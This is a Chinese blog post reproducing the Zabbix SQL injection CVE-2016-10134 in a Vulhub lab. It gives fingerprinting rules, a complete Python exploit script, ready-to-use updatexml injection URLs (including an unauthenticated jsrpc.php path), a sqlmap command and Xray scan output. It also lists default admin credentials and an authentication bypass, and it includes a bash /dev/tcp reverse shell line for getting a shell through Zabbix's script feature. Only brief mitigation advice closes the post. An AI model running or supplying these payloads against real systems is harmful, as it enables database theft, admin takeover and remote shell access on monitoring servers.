博主介绍
博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
点赞➕评论➕收藏 == 养成习惯(一键三连)
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限,欢迎各位大佬指点,相互学习进步!
zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。Zabbix 的latest.php中的toggle_ids[]或jsrpc.php种的profieldx2参数存在sql注入,通过sql注入获取管理员账户密码,进入后台,进行getshell操作。
2.2.x
3.3.0-3.03
[
{
"match": "body_contains",
"content": "images/general/zabbix.ico"
}],
[
{
"match": "header_contains",
"content": "zbx_sessionid"
}],
[
{
"match": "body_contains",
"content": "meta name=\"author\" content=\"zabbix sia\""
},
{
"match": "banner_contains",
"content": "linux zabbix-"
}],
[
{
"match": "banner_contains",
"content": "zbx_sessionid"
}]
sql注入:简单来说就是通过寻找注入点,进行sql语句拼接,欺骗服务器,获取想要的数据。
zabbix:由两部分构成,zabbix server与可选组件zabbix agent。
zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能。
zabbix agent需要安装在被监视的目标服务器上,它主要完成对硬件信息或与操作系统有关的内存,CPU等信息的收集
vluhub漏洞靶场搭建
vulhub环境是:Zabbix 3.0.3
切到CVE-2016-10134漏洞目录下
cd vulhub/zabbix/CVE-2016-10134
创建CVE-2016-10134环境
docker-compose up -d
查看CVE-2016-10134环境
docker-compose ps
访问CVE-2016-10134环境
http://ip:8080
docker-compose down
(看下文X-ray–>CVE-2016-10134-复现2)
(看下文X-ray–>CVE-2016-10134-复现1)
下面两条命令都可以使用
python3 CVE-2016-10134.py -t 127.0.0.1:8080
python3 CVE-2016-10134.py --target 127.0.0.1:8080
# -*- coding: utf-8 -*-
# @Time : 2021/12/23
# @Author : TesterCC
import json
from optparse import OptionParser
import re
import sys
from requests import session
# initialization
ret = dict()
ret['status'] = str()
ret['info'] = list()
ss = session()
ss.headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'}
# CVE-2016-10134 # python3 CVE-2016-10134.py --target 127.0.0.1:8080
def get_payload1(text) -> str:
payload = re.search(r"\[(.*\))\]", text)
return payload.group(1)
def get_sql_injection_info(text) -> str:
sql_injection_info = re.search(r"<\/li>(.*)\'\]" , text)
return sql_injection_info.group(1)
def attack(target):
'''login zabbix'''
login_url = "http://{}/index.php".format(target)
ret0 = ss.get(login_url)
cookie_dict = {i.name: i.value for i in ret0.cookies}
# get sid
sid = cookie_dict.get('zbx_sessionid')[16:]
data = {"sid": sid,
"form_refresh": "1",
"name": "",
"passwrd": "",
"enter": "Sign+in"}
retn = ss.post(url=login_url, headers=ss.headers, data=data)
if retn.status_code == 200:
# updatexml(0,concat(0xa,database()),0)
# updatexml(0,concat(0xa,version()),0)
payload1 = f"http://{target}/latest.php?output=ajax&sid={sid}&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)"
retn2 = ss.get(url=payload1, headers=ss.headers)
if retn2.status_code == 200:
resp = {
"payload": get_payload1(retn2.text),
"info": get_sql_injection_info(retn2.text)
}
ret['status'] = 'success'
ret['info'] = resp
return ret
def main():
usage = "Usage: python3 CVE-2016-10134.py --target "
parse = OptionParser(usage=usage)
parse.add_option("-t", '--target', type="string", dest="target", help="server ip:port, e.g. 127.0.0.1:8080")
options, args = parse.parse_args()
if not options.target:
ret['status'] = 'fail'
ret['info'] = "target empty"
print(usage)
sys.exit()
else:
target = options.target
try:
attack(target)
except Exception:
ret['status'] = 'fail'
print(json.dumps(ret))
if __name__ == '__main__':
main()
Xray监听
.\xray_ windows_ and64. exe webscan -listen 127.0. 0.1 :8888
访问网站http://192.168.13.131:8080
Xray就开始有产出了,产出我就不截图了。
我把产出信息copy到了下面进行分析
[Vuln: baseline]
Target "http://192.168.13.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,md5(2072517078)),0)"
VulnType "sensitive/server-error"
这条信息其实就是利用的CVE-2016-10134注入楼的那个
http://192.168.13.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,md5(2072517078)),0)
这句话就是MD5加密2072517078,输出只有31位,updatexml可以输出32为,但是前面娶了一个连接符所以只输出了31位
[Vuln: phantasm]
Target "http://192.168.13.131:8080/"
VulnType "poc-yaml-zabbix-cve-2016-10134-sqli/default"
links ["https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2016-10134"]
发现是一个SQL注入漏洞
发现登录成功
将这16个字符作为sid的值,访问,可见成功注入:
http://192.168.13.131:8080/latest.php?output=ajax&sid=916444579b8e84f1&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)
http://192.168.13.131:8080/latest.php?output=ajax&sid=916444579b8e84f1&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1)
python2 sqlmap.py -r C:\路径\新建文本文档.txt -p toggle_ids[]
-r 指定数据包文件
-p 指定注入字段
Sqlmap的poc都可以用于手工验证
》这个漏洞也可以通过jsrpc.php触发,且无需登录:
http://192.168.13.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)
http://192.168.13.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1)
[Vuln: phantasm]
Target "http://192.168.13.131:8080/"
VulnType "poc-yaml-zabbix-authentication-bypass/default"
links ["https://www.exploit-db.com/exploits/47467"]
发现是登陆绕过
http://192.168.13.131:8080/zabbix.php?action=dashboard.view&dashboardid=1
[Vuln: phantasm]
Target "http://192.168.13.131:8080/"
VulnType "poc-yaml-zabbix-default-password/default"
links ["https://www.zabbix.com/documentation/3.4/zh/manual/quickstart/login"]
发现默认账号密码:
默认账号Admin
默认密码为zabbix
密码经过MD5加密后为5fce1b3e34b520afeffb37ce08c7cd66
http://192.168.13.131:8080/index.php
[Vuln: brute-force]
Target "http://192.168.13.131:8080/index.php"
VulnType "form-brute/default"
from_url "http://192.168.13.131:8080/"
username map["field":"name" "value":"admin"]
passw0rd map["field":"passw0rd" "value":"passw0rd01"]
由于CSDN检测不能出现passw0rd,所以这里的o我改成了0
没有防御暴力破解的措施,理论上来说是可以暴力破解账号密码的
攻击机:windows本机:192.168.13.1
靶机:kali:192.168.13.131
用上面管理员账户密码登入到后台(账户是Admin 密码zabbix)
登入之后点Administrator-script-creatscript,进行写入shell
bash -i >& /dev/tcp/192.168.13.1/55555 0>&1
脚本一直无法执行,可能是zabbix环境存在问题
理论上来说脚本一直无法执行的,是可以getshell的
后续我会重新搭建zabbix环境进行getshell的复现,不选用vulhub环境试一下,如果可以getshell我将再出篇文章
禁用Guest账户,关闭无用账户。
打补丁,升级zabbix版本。
zabbix SQL注入漏洞 (CVE-2016-10134)POC
原文下载